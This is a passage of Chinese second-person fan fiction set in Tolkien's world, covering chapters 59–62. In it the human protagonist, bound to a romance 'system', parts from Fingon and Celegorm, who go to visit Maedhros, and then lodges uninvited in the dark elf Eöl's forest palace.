昨天晚上对你絮絮叨叨说了很多话的精灵不知所踪,只留下给你端来早餐的精灵,他说:“早餐都已经准备好了,你要去叫凯勒巩吃早餐吗?” 芬巩是真的好脾气,换做是你被人挑衅了别说是隔天早上给人做早餐了,你估计当场就把气给出了。 你喝了一口热牛奶而后走到后院的门口对凯勒巩说:“可以吃早餐了。” 凯勒巩站直身体,朝着你走来,在距离你一步之遥的时候伸出手擦去你唇角的牛奶渍,说:“知道了。” 话音落下,凯勒巩就越过你走向餐厅,早餐的气氛还算和谐,你低头认真吃培根,今天你还得要去村镇里转一圈,看看村民还有什么需要帮助的地方。 一般来说你都是孤身一人完成巡逻的,但在凯勒巩来了以后他就理所当然地占据你身边的位置,你去巡逻他就也跟着一块去,你们两个显得形影不离,让村民都开始疑惑你和凯勒巩还有芬巩的关系。 疑惑归疑惑,反正只要他们没在明面上直接问你,你就能完全无视他们的疑惑。 村镇的规模从一开始的几十口人到后来蔓延到上百号人,村镇的面积也在不断扩大,这片区域本身就是平原适合人类居住和发展,就是再这样扩张下去估计会扩建到森林入口,而森林里的野兽又层出不穷,所以你会定期在森林里转一圈。 今天你在巡逻完毕以后就往森林里走,陪在你身边的凯勒巩不说话你都快忘了他的存在,你沿着小径往森林深处走去,抬手拨开眼前垂下的树枝,说:“你今天怎么这么安静?” 凯勒巩跟随着你的脚步,说:“你平常不是觉得我聒噪吗?” “我可没说过这种话啊。”你顶多就是在心里评价几句而已,也没真的说出来啊。 凯勒巩轻哼一声,有点像在撒娇,“我是知道的,你更喜欢那种温柔识大体的精灵,就比如说芬巩。” 再次申明一下,你也没说过以上这种话,纯属凯勒巩胡编乱造,你说:“这只是你自己那么想的而已。” “我的直觉可是很准的,不过……”凯勒巩说到这里顿了顿,他又扯动嘴角,表情如同嘲讽,他说:“你的喜欢总是短暂的,和精灵的喜欢比起来真是转瞬即逝。” 这一点你不否认,但你不觉得这是你的错,如果真的要怪罪的话那就怪罪你绑定的这个恋爱系统吧,你这不也是出于无奈才那么三心二意的吗? 所以一切都是系统的错。 你非常熟练地甩锅给系统,然后面色如常地回应凯勒巩,“你在这里停留不需要给迈兹洛斯写信吗?” “你这个时候倒是开始关心迈兹洛斯了,以前怎么不见你忧心呢?”有的时候凯勒巩也会埋怨你,怪怨你把他那两个哥哥都变得阴晴不定,现在他无论是和迈兹洛斯还是和玛格洛尔聊天都得要小心谨慎,免得一个不留神就惹得他们想起你。 只不过是随口一问想要转移话题的你没成想凯勒巩还能延伸出那么多的话题来,你索性不说话了。 恰好这时候有野兽往你这边撞,这是真的撞枪口上了,你拉开弓射箭,一击毙命,那头长着长牙的野猪将会成为晚餐的主角。 你先把猎物挂在附近的树上,然后继续往前走,后面你又陆陆续续地打了好几头猎物,战利品太多,你干脆分了一大部分出去给村民,差不过每家每户都能收到一条肉。 打猎是由你负责的,处理猎物并且拆解那就是凯勒巩做的事情了,他往常没少干这种事,因此下刀的动作干脆利落,快准狠,每个部位都精准拆解,最后分成差不多等量的切块。 等你们在村镇里转了一圈把手里的肉条全都分出去以后才慢悠悠地往小木屋的方向走去。 夕阳将你和凯勒巩的影子拖得很长,你百无聊赖地踩着凯勒巩的影子,忽然他冷不丁地说道:“我会给迈兹洛斯写信的。” 你过了两秒才意识到他好像是在回答你今天上午问他的问题,难道说他在这中间一直都在思考吗? “是么,那我想他应该会很欣慰的吧。”你说。 没成想凯勒巩却说:“那可不一定,毕竟我会在信里写到我和你在这里过得很幸福。”他这话一听就是在胡诌,你说:“那你的哥哥不一定会相信。” 凯勒巩耸耸肩,满不在乎地说:“他是怎么想的对我来说也没有太重要。” 也不知道是谁前不久还在质问你为什么对他的哥哥那么狠心的,他居然变得那么快吗? 你说:“那随便你。” “真的随便?你就不说点别的吗?”凯勒巩的眼神扫了过来,仔细观察你脸上的表情,不放过一丝一毫的表情变化,最后发现你是真的一点都不在意,他就说:“算了,我刚才只是在开玩笑的。” 你们有一搭没一搭地说着,沿着小路走到小木屋不远处,芬巩就站在门口等待着你。 等你走到他跟前,他说:“晚餐准备好了,然后,我还有件事情要对你说。” 第59章 他急忙说:“你怎么走了啊!?” 看芬巩那么严肃的表情,你还以为他要和你说什么重要的事情呢,结果就是回到小木屋里他将你带到一边,说:“我可能……最近要去看看迈兹洛斯,我不在的这段时间你要照顾好自己。” 只是这样吗?你说:“……没了吗?” 芬巩说:“没了, 我想和你说的就只是这个。” 一时之间你不知道该说他太低估你的生存能力了还是他担心得太多了, 你说:“好啊,那你就去吧。” “那你就没有什么想要对我说的吗?我是说,你有什么话是要我替你转告给迈兹洛斯的?”芬巩说到一半话锋一转,好像是真的在替他的挚友迈兹洛斯询问你。 难道他以为这样你就不会发现他那点藏起来的小心思了吗? 你微微眯起眼睛,说:“除此之外你就没有别的想听的吗?” 芬巩欲言又止,陷入犹豫不决的境地里,在提及迈兹洛斯的时候他的话语间总是若有若无地带着几分愧疚,他在愧疚什么呢?是在因为破坏你和迈兹洛斯的感情而愧疚吗? 你曾经听芬巩说过的, 他认为自己才是破坏你和迈兹洛斯关系的罪魁祸首, 不得不说他真是个高道德感的善良精灵, 到现在还觉得是自己的错,明明一开始是你提出了这个过分的要求,他还答应了下来。 放在你的上辈子多少算个圣父,但你的道德感可没有他那么强,他越是纠结你就越是觉得有趣,还饶有兴致地观察着他的表情,看着他内疚的,隐约痛苦的神情,你承认自己是个恶趣味的人。 芬巩说:“那你要和我一块回去吗?再去看看迈兹洛斯。” 他在纠结过后还在争取说服你回去和迈兹洛斯见面,他仍然在为迈兹洛斯考虑。 你为他们的友情感动, 但感动归感动, 你还是毫不犹豫地拒绝了他的邀请, 你说:“既然都有你去见他了,那我就没有去的必要了。” “我无法代表你。” “我以为我们早就是密不可分的关系了。”你脸不红心不跳地说着调情的话。 芬巩顿了顿,你接着又说:“而且我还有别的事情要做,索伦一天不解决,隐患就还存在一天。” 当然这也是你拿出来搪塞芬巩的一个借口而已,为的就是将他和凯勒巩都打发走,至于解决索伦的事情,解决自然是会解决的,不过也不用太着急。 大不了一边游历一边推进解决索伦的任务进度就是了。 你都已经把之后的计划都想得明明白白的,而在芬巩看来你这不是推脱的理由,而是真的因为担心索伦作乱才选择在这时候去追踪索伦的踪迹。 于是他甚至都说不出什么责怪你的话,他说:“这次你也是孤身一人去吗?” “是啊。”孤狼人类剑客是这样的。 为了防止芬巩情绪上来以后改变心意也要和你一块去打索伦,你先发制人地说:“而你就按照自己最开始的想法去希姆凛就好了。” 芬巩若有所思,你单方面替他做了决定,你说:“就这样说定了吧。” 这场对话也差不多应该结束了,你想,于是想着离开,但芬巩却冷不丁地问道:“然后呢,这次分开以后我们还能再见面吗?” 他对这个问题的回答很在意。 你继续睁着眼睛说瞎话,说:“当然可以。” 实际上这还得看你的心情,反正现在芬巩的好感度都已经刷上去了,目前看来那些攻略对象的好感度都维持在一个微妙平衡的状态,接下来你都不打算动这个好感度了,让它一直保持下去就好。 以往都对你说的话深信不疑的芬巩此时此刻却凝望着你的双眼,仿佛试图在透过你的眼睛看穿你内心的想法,你也不躲闪,任由着与他四目相对。 没错,你就算是说谎也是这么坦坦荡荡的。 看到后来芬巩握住你的手,说:“好,那我们日后肯定也会再见面的,我会记得这个约定的。” 这句话他说得很慢几乎是一字一顿的,同样显得那么郑重。 在他说完最后一个字的时候你抽出手,说:“我有点饿了,吃晚餐吧,今天我们还去森林里打了很多猎物,分给了村民一些。” “是么,看来你和凯勒巩相处得也不差。” 有股酸溜溜的味道,你没当回事,因为你是真的有点饿了,还是先吃晚餐吧。 在晚餐的时候芬巩说了自己要去看迈兹洛斯的计划,凯勒巩大喜过望,说:“是么,那真是一件好事啊。” 他估计是巴不得芬巩离开好让他能和你独处,但芬巩没让他高兴多久,他又补充道:“你也要和我一块去。” 凯勒巩的笑容顿时消失,变脸速度之快你都不得不佩服,凯勒巩皱眉,没好气地问:“你在使唤我?” “这不是使唤,而是请求,而且你就不担心自己的哥哥吗?” 芬巩打出了亲情牌,你很熟练地把自己当成背景板听着他们两个精灵的针锋相对。 “我是否关心自己的哥哥还轮不到你来指指点点吧?”凯勒巩说话还是一如既往的锐利。 但这次芬巩一改之前的温和态度,对待凯勒巩的态度可以说得上是强硬,他说:“如果你再这样不配合的话,我倒是不介意采用一些特殊手段。” 凯勒巩安静几秒,像是第一次见识到芬巩的另一面,而你则是一直在旁边看戏。 芬巩生气起来的样子倒是和玛格洛尔有些像,都是平日里越是不动声色的性格越是到生气的时候就会显露出可怕的一面。 但芬巩和玛格洛尔也会有些区别,玛格洛尔会在凯勒巩第一次说出锐利话语的时候就好好教训对方的,而不是一直容忍到现在。 “那你这就是在威胁我了。”凯勒巩的性格真是软硬不吃,芬巩闻言放下刀叉,用餐巾擦拭唇角,缓缓地抬眼看向对面的凯勒巩,说:“是的,就是威胁。” 他直接大大方方地承认,于是乎被打个猝不及防的精灵就变成了凯勒巩,你瞥见凯勒巩的嘴唇张合,你喝了一口水,等你放下杯子他才说:“好,那你就试试看吧,用你的手段能否劝服我。” 言下之意就是要打架呗,你没有要插手的意思,只是在他们动手前提醒道:“要打出去打,别弄坏屋子里的家具。” 凯勒巩在走之前忍不住又问你:“你希望谁赢?” 这又不是压赌注的比赛,你说:“我对你们的输赢不是很关心。” 你都把话说得很明白了,但在凯勒巩听来就是你站在芬巩那边的意思,他说:“那估计最后的结果会让你失望的。” 不是,他是没听明白你说的话吗?你压根就不在乎他们的比赛,所以就更不可能存在什么结果让你失望的情况了。 不要擅自给自己加戏啊,你撇撇嘴,用敷衍的语气说:“啊好的,失望就失望吧。” 芬巩听出你的敷衍,他先一步走到门外,回过头对凯勒巩说:“你还要磨磨蹭蹭多久?” 被芬巩这话一刺激,凯勒巩唰地一下站起身走到门口,最后他又回头看了你一眼。 你安静地用勺子挖着布丁,仿佛真的一点都不在乎。 在他们离开木屋没多久以后你就听见屋外传来乒乒乓乓的打斗声,两个精灵在外面打架,你在屋内收拾餐具,顺便再把桌布撤下来。 清洗各种餐盘和碟子还有其他刀叉之类的小玩意花费了你不少时间。 在此期间屋外的打斗声就没停下来过,你用餐布把餐盘上残留的水珠擦干净,从餐盘擦到杯子,等你擦拭到最后一个杯子的时候门口传来动静,你回过头一看,先进门的是芬巩,他身上的衣服沾染些许尘土,头发也变得有些乱,他一见到你就说:“凯勒巩会跟我一块去见迈兹洛斯的。” 看样子是他打赢了,你的视线越过芬巩,又问:“那凯勒巩呢?” 芬巩轻描淡写地说:“在地上躺着呢。” 刚刚结束一场对决的芬巩还有心思接过你手里的餐布和杯子,说:“剩下的就交给我吧。” 你把残局都丢给芬巩,自己走到门外,走了一段路才看见倒在地上的凯勒巩,胸膛在起伏,还有气。 感受到你的靠近,凯勒巩侧过头,说:“我还没死呢。” “我知道,一般来说像你这种性格特别难搞的精灵都会活很久。”你蹲在凯勒巩身边,他不用照镜子也知道自己现在肯定很狼狈,就把头转到另外一边,不去看你,也不想你看他,他说:“别看我,我现在好难看。” 你拨开他侧脸上被血珠黏着金色发丝,他好像颤抖了一下,说:“芬巩肯定还在你面前说了我的坏话吧?” “不是每个精灵都和你一样会在背后说人坏话的。”你说。 凯勒巩冷哼一声,“输了就是输了。” “所以你是要一直躺在这里直到第二天太阳升起吗?” 凯勒巩还在顾及自己的形象,他说:“别管我。” 闻言,你就真的不管他了直接转身离开,凯勒巩反倒是急了,他急忙说:“你怎么走了啊!?” 第60章 “你真的不是吸血鬼吗?” 你料到了凯勒巩会来这一出, 也没回头,只是说:“你还不赶紧跟上来?” 凯勒巩嘴里嘀咕着什么,动作倒是很麻溜地爬起来,还顺手掸去衣服上的灰尘,脚步飞快地走到你身边,说:“我留下来陪你不好吗?反正芬巩他要去见迈兹洛斯。” 在谈论迈兹洛斯的时候他就像是在讨论毫不相关的陌生精灵,你有的时候也很疑惑他们费诺里安之间的感情,你说:“但他不是你的哥哥吗?” “连你也那么说吗,是啊,他的确是我的哥哥,但是我就算回去了又能起到什么作用呢?”而且他又不是迈兹洛斯最喜欢的弟弟,他和玛格洛尔的关系才是最好的,他朝你摊手, “你看,我回去帮不上什么忙,而且还会给芬巩添乱,这样你也要让我回去吗?” “但你输了啊。” 你一句话轻轻松松地将凯勒巩之后的辩解都给堵了回去,他的嘴唇张合,想说些什么,但临到嘴边又咽了下去,只能用那双蓝眼睛的控诉似的看向你。 “别用那种眼神看我,我只是在陈述事实而已,难道你都没办法接受自己输了的事实吗?”你面不改色地说着大实话。 凯勒巩给你做了个暂停的手势, 又说:“好了,我知道了, 我回去总行了吧?这下子你总算是满意了吧?” 什么满意不满意的,他本来就该那么做的,怎么被他说得好像他是在和你妥协? 你侧过头,恰好对上凯勒巩幽怨的眼神,你说:“这件事情本身就和我无关吧。” “你倒是把关系撇得干干净净的,但既然你招惹了费诺里安就必然要承受相应的后果。” 你紧抿着嘴唇,在凯勒巩看来你这是陷入沉思,但其实是你在努力憋笑,因为凯勒巩又开始说很咯噔的话了。 ……真的好咯噔啊。 真怕自己再和凯勒巩对视下去你就要笑出来了,于是你默默地移开视线,这样的小动作更是让凯勒巩确信你就是在心虚,他说:“看吧,你心里也是有数的。” 你现在心里都是在提醒自己别笑出来。 带着样子狼狈的凯勒巩回到小木屋,芬巩已经换了一身衣服,还顺便把自己之前稍显凌乱的长发又重新打理了一遍,不得不说他的效率还真高。 凯勒巩一看自己是在场最灰扑扑的精灵,当即就也去收拾自己了,留下你和芬巩站在原地,芬巩说:“你刚才都和他说了什么?” 你耸耸肩,“也没什么,就是说他要愿赌服输。” “然后他就真的听话了?”芬巩不太相信对方居然真的那么听话。 “还算是听话吧。”主要是他如果不配合你就直接走人了,你可没功夫和他上演这种拉扯的戏码,所以这件事情解决起来也非常方便。 芬巩对你说的话持保留态度,毕竟他所认识的凯勒巩哪怕是对兄长迈兹洛斯的话也不是言听计从的,他又怎么可能真的那么听你的话呢? 可真等到出发的那一天,芬巩看见骑着马的凯勒巩就意识到他确实很听你的话。 “你还愣着做什么?难不成还要我来催你?”坐在马背上的凯勒巩没好气地说,在他的注视下芬巩也翻坐在马背上,他们与你告别后暂时离开这个小村镇,至少在那个时候的他们认为这次的离别都是暂时的。 在两个精灵离开这里以后你又停留了一段时间,这里所说的一段时间指的是一代人的时间,那些当年还会跟在你身后当小尾巴的孩子们长大成人并且有了自己的后代,甚至于后代的后代,这里也从小小的村镇逐渐变成繁华的城市。 到这个时候你也觉得自己应该去别的地方转转了,当初你给芬巩的借口是你要去解决索伦的事情,确实你也有在寻找索伦的踪迹,但你的大部分重心还是在游历上面,你几乎要把自己上辈子没能旅游的体验全都给补回来。 你是个不会亏待自己的人,更别提你现在不缺钱也不缺时间,于是你更能够心无旁骛地四处游玩,而你就是在游历了一段时间后遇见的埃欧尔,是辛葛的亲族,却不愿住在多瑞亚斯,而是如同避世般地居住在茂密的,人迹罕至的森林里。 至于你为什么会遇见他,那就说来话长了,倘若要长话短说,那就是你误入了他的领地,被他当成小偷差点处刑,但系统给你开的金手指可不是闹着玩的,于是你当场反击,别说是处罚你了,这名黑暗精灵倒是在你这里吃了不少苦头。 秉承着来都来了的理念,虽然你才揍了这里的主人一顿,但不妨碍你蹲下来和被你揍趴下的埃欧尔对视,然后理直气壮地说:“我想去你的宫殿里做做客。” 那是正常的做做客吗?任何一个心智健全脑袋没出问题的精灵也好,人类也好,都不会觉得你的目的是单纯的做客,而生性多疑的埃欧尔更不这么认为。 因此他说:“你休想踏入我的领地半步!” 你伸出手拍拍他的脸颊,说:“你是没睡醒吗?我现在就在你的领地上啊。”你是真的有点担心这精灵被你打得脑袋出问题。 话说精灵也会出现脑震荡的症状吗? 你漫无边际地想着一些无关紧要的问题,完全忽略了埃欧尔那阴沉的神色,他将你的行为视作挑衅,愤怒得恨不得将你驱逐,可他的理智又告诉他自己无法做到,在刚才的交手中不难看出你强劲的实力,哪怕他已经拼尽全力,甚至还用了一些阴招,却仍然输给了你。 他愤愤不平地瞪了你一眼,你也看了回去,说:“所以你现在能自己站起来吗?还是说要我扶着你?” 你不光在刚才打败了他,现在甚至还对他出言不逊,言语间都是讽刺的意味。 闻言,埃欧尔扯了扯嘴角,似乎是嘲讽地笑了,又问:“你就不害怕我趁机杀害你?” “你先能自己站起来再说吧。”你笑嘻嘻地说,旋即抽回手,埃欧尔一个重心不稳差点就又要躺回地上,但是他的尊严不允许他那么做,因此他强撑着站起来,眼神充满狠厉。 在此期间你就跟看戏似的站在旁边,等他站直身体,你就说:“是你亲自带路还是让我自己去找你的宫殿?你选一个吧。” 实际上根本就没有选择的余地,因为无论怎么选择你都会堂而皇之地进入埃欧尔的宫殿,那副理所当然的态度就差没把自己当成这里的主人了。 愤恨的埃欧尔又狠狠地瞪了你一眼,但这眼神的杀伤力几乎为零,你的笑容依旧灿烂,还说:“所以你的回答是什么呢?” 最后埃欧尔还是迫于无奈将你带到自己的宫殿里,其余精灵看到他们的领主带了一个人类回来也满是疑惑,尤其是你和埃欧尔走在一块的时候你的表情笑盈盈的,而埃欧尔的表情阴沉得几乎能滴出黑水来。 两种表情碰撞形成鲜明对比。 而且你也不像是初次来到精灵宫殿的人类,因为你遇见精灵都会自然大方地朝他们打招呼,这反倒是让这些常年不怎么接触人类的精灵显得无所适从。 “你这里的精灵怎么性格好像都和你一样,阴沉沉的?”你在埃欧尔的耳边轻声说道。 埃欧尔瞥了你一眼,说:“你说这些又想要做什么?” “你的戒备心怎么这么强啊?”你尽可能让自己看起来友好一些,尽管你不久前才揍了他一顿。 埃欧尔像是听到了什么充满嘲讽的话语,他的唇角上扬,但那是怒极反笑,说:“是你擅自闯入我的领地然后还要问我为什么戒备心强?” 瞧他这话说得,你又不是什么坏人,你就是无意间路过这里,谁让他不在这周围立一块指示牌呢? 没有指示牌谁能料到这块跟原始森林没什么区别的地方居然还住着一群精灵。 所以横看竖看都是埃欧尔自己的问题,你是一点错都没有的。 你表现得越是理直气壮,埃欧尔就越是生气,但你压根就没把他的怒火放在眼里,你还饶有兴致地在他的宫殿里闲逛,是一点都没把自己当外人,你从宫殿的这头走到那头,发现这座宫殿的光线昏暗,而且大部分房间的窗帘都紧闭。 看到这里你都不禁有些好奇了,你忍不住询问埃欧尔,“你真的不是吸血鬼吗?” 眼前的精灵没有听说过吸血鬼,但听你的语气也不觉得这是什么好形容词,于是他说:“我是精灵。” 你折返回到埃欧尔面前,说:“你为什么不住在多瑞亚斯呢?” 埃欧尔的脸上浮现出“这关你什么事”的表情。 “你到底还想要再问些什么?”埃欧尔的耐心已经被消耗殆尽。 你说:“也没什么,就是觉得你的宫殿挺漂亮的。” 埃欧尔听你这么说着,他的心里逐渐升起一股不祥的感觉。 果不其然,下一秒你就说:“那我就暂且在这里住一段时间吧。” 【作者有话说】 插播一条广告,隔壁的猎人虫族文估计下个月开坑,感兴趣的可以戳个收藏,补漫画补得我旧情复燃啊[撒花][撒花]《 》 60-65 第61章 “其实你在说谎对吧。” 这样堂而皇之的进入别人的地盘并且还住下来这种事情放在别人身上可能有些难以理解,但你做起来就莫名带着一股理所当然的气息,仿佛这里本就该是属于你的。 埃欧尔对你的怨恨并没有随着时间流逝而消散,甚至还愈演愈烈,你将他的厌恶看在眼里,颇为恶趣味地经常在他跟前晃悠,看他越生气你就越高兴。 埃欧尔不是那种喜欢宴会的精灵,真是少见, 居然还有不喜欢宴会的精灵,这也是你头一回遇到。 于是你在埃欧尔打铁的时候坐在旁边,那样子活像个监工,你说:“你好像很不合群啊。” 你们上一个话题是关于宴会的,埃欧尔和你聊天,与其说是聊天倒不如说是你问一句他回答一句,但有的时候他也会不耐烦,比如说现在,他不否认你说的话,的确,他确实是个孤僻的精灵,但这又要什么错呢? 难道说有什么规定是精灵一定要喜欢宴会的吗?还是说你又要借机嘲讽他一番,他更倾向于后者,因为你嘲讽他也不是一次两次的事情了。 然而这次他却猜错了,因为你下一句话就是:“其实我也不怎么喜欢宴会,热闹是热闹,但偶尔也会觉得聒噪。” 埃欧尔看似还在低头认真打铁,实则是在仔细分析你说的话,以及你说这话的意思是什么。 就这样逐字逐句地,咬文嚼字地,分析得出一个他自己都不怎么相信的结论,那就是你似乎没在嘲讽他? 真是开什么玩笑,埃欧尔将打得火红的宝剑放入冷水里,瞬间水汽弥漫,他透过水雾看向你的侧脸,轮廓朦胧,他说:“是么,说得好像你很了解精灵似的。” 大概这就是久久不出门的弊端了吧,一直避世而居的埃欧尔还不知道你和其他精灵之间的关系,尤其是和他讨厌的诺多精灵。 这还得要感谢这个世界的消息流通速度缓慢,而且就算他真的听说过你的故事,也只是听说过而已,没有见过真人,也不清楚你的长相。 你伸出手轻轻拨开眼前的水雾,你的声音跟着拂动的水雾一块飘了过来,飘到埃欧尔的面前,让他有些不适应地眨了眨眼睛,你说:“是啊,我很了解精灵,就连你这种精灵我也还算了解。” 埃欧尔讨厌你这种轻慢的态度,仿佛真的能够把他给看穿似的,你身上的秘密太多,他只能看得到你表现出来的那一面。 在他对你的了解还浮于表面的时候你却语气笃定地说自己很了解他,甚至是了解整个精灵族,在他看来宛若间接的挑衅。 于是埃欧尔说:“你在挑衅我。” 听到他这么说,你缓缓打出一个问号,什么?你实话实话反而被他当成挑衅?那他是没见过真正的挑衅是什么样的吧,你好笑地说:“如果我真的想要挑衅你,你觉得你现在还会那么游刃有余吗?” 这话说到点子上了,埃欧尔紧抿着嘴唇,一副拒绝回答你任何问题的样子。 你走到旁边,拿起已经冷却的宝剑,不得不说,埃欧尔的锻造水平确实一流,虽然他的性格古怪孤僻,而且还总是觉得你在挑衅他。 埃欧尔因为你的靠近身体都不由自主地紧绷,他说:“现在你又想要说什么?” “没什么,只是想夸奖你的锻造水平很高,这总不是挑衅了吧?”你笑眯眯地说。 话音落下,埃欧尔的脸色也没好到哪里去,你的夸奖落在他的手里就跟烫手山芋似的,他说:“我不需要你的夸奖。” 就没见过脾气这么古怪的精灵,不过反正你也只是在这里暂时住几天而已,你也没必要热脸贴冷屁股,他不领情就算了,你干脆利落地说:“好啊。” 然后转身离开,埃欧尔都没料想到你会是这反应,而且你还走得那么直接,一点犹豫都没有,这反倒让埃欧尔有些不适应了,但也只是心理层面的不适应而已,他是不可能追上去问你到底怎么了。 容忍你在这里居住已经让他的尊严受损,他不会再向你低头的。 另外一边离开工坊的你哪里知道埃欧尔心里想的这些弯弯绕绕,你在这个光线昏暗的宫殿里随意闲逛,正所谓物以类聚人以群分,跟随埃欧尔的精灵也大多都是性格内敛不怎么说话的精灵。 属于你得主动开启话题,并且你说好几句对方才回一句的那种内敛程度。 唉,这种时候你就开始想念凯勒巩了,至少和他待在一块的时候你还不用自己找话题,他能自顾自地说很多话。 而与此同时的凯勒巩那边可就没有你这边悠闲了,他和芬巩一同去往希姆凛,芬巩的本意是想要拜访迈兹洛斯,顺便再询问关于誓言的事情。 可是他没有料到自己的到来会让气氛跌入谷底。 迈兹洛斯在看到凯勒巩的时候面色如常,但视线落在芬巩身上时就顿了顿,微不可察地蹙眉,说:“既然你来了……” 还没等他把话说完凯勒巩就抢答道:“苏尔没有跟着一块过来。”他仿佛料定了迈兹洛斯之后会问什么。 迈兹洛斯说:“是么,那么是因为发生了什么吗?” 负责回答的仍旧是凯勒巩,他说:“也没什么,就是苏尔觉得现在不太合适来见你。” 凯勒巩都已经把话给说得委婉了许多,但在迈兹洛斯听来还是觉得刺耳。 什么叫做不太适合来见他呢?他是了解你的,知道只要你想的话你甚至可以不远万里来见他,你现在没来的原因也很简单,那就是你不想。 你不愿意见他。 意识到这一点的迈兹洛斯脸色都变得难看了,他说:“她是真的这么说的?” 这次回答的是芬巩,他说:“是的,她……手头还有一些事情。” 芬巩还以为善意的谎言会让迈兹洛斯的心情好一些,然而并没有,他的神色甚至还更加阴沉了一些,他说:“谢谢你的补充。” 气氛凝滞,芬巩又解释道:“对了,你们之前写的信她也没有收到,所以并不是她不想回信。” “你为什么能够确定她没有收到?”迈兹洛斯冷不丁地问道,或许是精灵宝钻誓言带来的影响,使得迈兹洛斯的性格也发生变化,变得不像以前那样洒脱,他对芬巩说的话耿耿于怀。 芬巩说:“我陪伴在她身边的时候就没见信鸽送过信来。” “我知道,这些年你一直陪伴在她的身边,想必你们的生活也一定很幸福吧。” “麦提莫,我不想让我们的关系变得那么僵硬。” “可事已至此,你又想要挽回什么呢?还是说你要告诉我你对她一点喜欢都没有,仅仅只是朋友关系吗?”迈兹洛斯质问道,凯勒巩退到一边,他在来的路上就已经预料到了会发生这种事情,所以很有先见之明地退出他们的对话,把自己当成一个旁观者。 芬巩被迈兹洛斯问得一时之间不知道该怎么回答,他的嘴唇张合,过了许久才吐出一句话,“我无法对你说谎,我确实……和她不是简单的朋友关系。” 听到芬巩承认这一点,凯勒巩的心情也好不到哪里去,他觉得一点都不公平,他和你单独相处的时间都不及你和芬巩相处的十分之一,凭什么芬巩能那么好运呢? 想到这里,凯勒巩那阴恻恻的表情甚至比他的兄长迈兹洛斯还要更胜一筹。 迈兹洛斯的理智告诉他自己不应该责怪芬巩的,再怎么说他们也曾经是挚友,但因为长久地守护着那三颗精灵宝钻使得他的灵魂也遭受腐蚀,以至于他面对芬巩的到来第一反应就是厌烦。 他试图找回自己的理智,语调平静冷淡地说:“抱歉,我刚才说得有些不妥,还请你忘了吧。” 芬巩深表理解,他知道那都是因为精灵宝钻的缘故,于是他说:“我知道的,这并不是你的错。” 原本还想着看好戏的凯勒巩发现他们两个忽然就和好了,这让凯勒巩心生不悦,在芬巩离开以后凯勒巩就对迈兹洛斯说:“就只是这样吗?他霸占了苏尔那么多年,这就是你的反应吗?” 迈兹洛斯纠正道:“不是他霸占,而是她允许他陪伴在身边,你总能理解这其中的不同吧?” 但凡你对芬巩不感兴趣,对方就是真的想要呆在你身边都不可能实现。 凯勒巩无言以对,他双手环胸,还是在生芬巩的气,更气的是你居然一点都不关心他们。 迈兹洛斯已经跳过刚才的话题,接着又问凯勒巩,“所以你找到苏尔以后她都说了些什么?” 虽说现在他的兄长看起来还挺正常的,但凯勒巩也不敢确定他要是说实话对方会不会发疯,所以他斟酌用词,说:“其实也没什么,就是问我你过得怎么样,还有玛格洛尔也是。” 迈兹洛斯凝视着凯勒巩的侧脸,几秒后问道:“其实你在说谎对吧。” 第62章 “是从多瑞亚斯寄来的信。” 凯勒巩也不是没见过迈兹洛斯生气的样子, 但往常的愤怒和此刻的情形又有所不同,凯勒巩一时之间也说不上来到底是哪里不同,他愣了几秒, 迈兹洛斯才又说:“你没有对我说实话不是吗?” “但我也没有骗你。”凯勒巩解释道。 没有说实话和欺骗之间还存在一定的差距,凯勒巩还在玩文字游戏,迈兹洛斯的耐心也是有限的,他说:“那你不妨将是事情的真相都告诉我吧。” 这可是他自己的要求, 凯勒巩之前还在考虑他的感受呢,现在既然他想听残酷的真相,那他就告诉对方吧,他说:“实际上苏尔根本就没有主动提起过你, 还是我说起你她才想起来的,我也问过她要不要回来见你, 但她的回答是斩钉截铁的不。” 真话往往就是这么尖锐,迈兹洛斯沉默几秒,他侧过头,眼神看向书架上的木雕,那还是你之前随意雕刻的,迈兹洛斯都精心保留下来了,他说:“是么……” 他对你的怨恨会变得更多吗?甚至演变成复仇的心态吗?这一点凯勒巩不得而知,他只知道迈兹洛斯现在的脸色很难看。 为了不被殃及池鱼,凯勒巩倒是很有眼力见地先行离开, 后面的事情怎样就不是他所能掌控的了。 另外一边待在埃欧尔宫殿里的你完全把这里当成了自己的地盘,什么地方想去就去,埃欧尔的书房也变得跟你的书房似的,埃欧尔说又说不过你,打也打不过,就只能在一旁生闷气。 好在你也还算是个比较通情达理的人类,也不是一点面子都不给埃欧尔,你在进入他的书房前也会象征性地敲敲门,但无论埃欧尔应不应声你都会进门的,埃欧尔也从一开始的无法接受,无能狂怒到后来的无能为力,表情木然地接受。 这天你去埃欧尔的书房时正巧碰见他在拆信,你好奇道:“还有谁会给你写信啊?” 埃欧尔眉头一皱,你这话又是什么意思?他虽然性格孤僻但不代表不会有精灵给他写信的啊,而且再说了,你一个人类真的了解精灵吗? “这很奇怪吗?”埃欧尔没好气地说,你总是能一句话就惹怒他,这样的功力是其他精灵都不能比的。 你走到他的书桌前然后拉过一张椅子坐下,说:“不奇怪,就是很新鲜而已。” 埃欧尔扯了扯嘴角,露出一个不怎么像笑容的表情,有点类似于皮笑肉不笑,充分表达了他现在的复杂心情,你装作没看懂他的表情,单手托腮,说:“所以是谁写的信?” 还能是谁呢,无非就是他的亲族,那个住在多瑞亚斯的辛葛王写来的,说起来埃欧尔也不是针对你,他是一视同仁地和周围的精灵关系一般,甚至可以说是相处不好,只不过那些精灵顾及到亲族的关系就也会忍让对方,但你就不一样了,你压根不考虑这些。 “是从多瑞亚斯寄来的信。”埃欧尔言简意赅地说,至于信件的内容是什么估计就不能告诉你了。 多瑞亚斯寄来的信啊……你以前还去过多瑞亚斯做客呢,但那都是几百年前的事情了,这样说起来时间过得可真快啊。 “噢……这么说来是你的陛下要吩咐你什么事情了呢。”你笑嘻嘻地说。 这话听起来让埃欧尔不悦,但也是事实,对方写来这封信是因为欧瑞费尔,同样也是辛葛的亲族,不日就要拜访辛葛,到时候对方的队伍很可能会穿过埃欧尔的领地,所以事先和他打个招呼而已。 这次来的不光是欧瑞费尔和他的下属,他还带了他的儿子瑟兰迪尔过来。 埃欧尔和亲族的关系一般般,和这种驻扎在远方的亲族更是没什么交集,这也是为什么辛葛还会特意写一封信来说明原委,大概率就是担心到时候埃欧尔脾气一上来都不然欧瑞费尔过路。 用你上辈子的观念来套埃欧尔,他不像是社恐,他只是凭一己之力孤立了其他精灵而已。 因此看到这封信的埃欧尔冷哼一声,这不由地让你更加好奇了,你说:“怎么了?不如和我说说?没准我能为你分忧呢?” 你那是想要为他分忧的意思吗?你那摆明了就是想要看热闹,看他出丑! 